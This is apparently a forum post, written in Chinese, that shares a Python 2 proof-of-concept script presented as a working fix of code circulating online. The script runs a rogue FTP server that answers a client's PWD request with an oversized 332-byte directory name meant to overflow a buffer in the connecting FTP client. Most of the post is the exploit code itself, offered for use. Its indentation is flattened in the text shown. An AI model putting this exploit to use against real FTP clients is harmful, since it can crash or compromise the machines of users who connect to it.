网上的源码都是没有缩进的,不能执行,执行了都会出错,会提示 req = req.replace('\r\n', '') 这个出错,我在这里发一个能正确执行的脚本,此源码仅供交流用
from time import sleep
from socket import *
res = [
'220 WELCOME!! :x\r\n',
'331 Password required for %s.\r\n',
'230 User %s logged in.\r\n',
'250 CWD command successful.\r\n',
'257 "%s/" is current directory.\r\n' # <-- %s B0f :x
]
buf = 'A' * 332
s = socket(AF_INET, SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print '[+] listening on [FTP] 21 ...\n'
c, addr = s.accept()
c.send(res[0])
user = ''
for i in range(1, len(res)):
req = c.recv(1024)
print '[*][CLIENT] %s' % (req)
tmp = res[i]
if(req.find('USER') != -1):
req = req.replace('\r\n', '')
user = req.split('\x20', 1)[1]
tmp %= user
if(req.find('PASS') != -1):
tmp %= user
if(req.find('PWD') != -1):
tmp %= buf
print '[*][SERVER] %s' % (tmp)
c.send(tmp)
sleep(5)
c.close()
s.close()
print '[+] DONE'
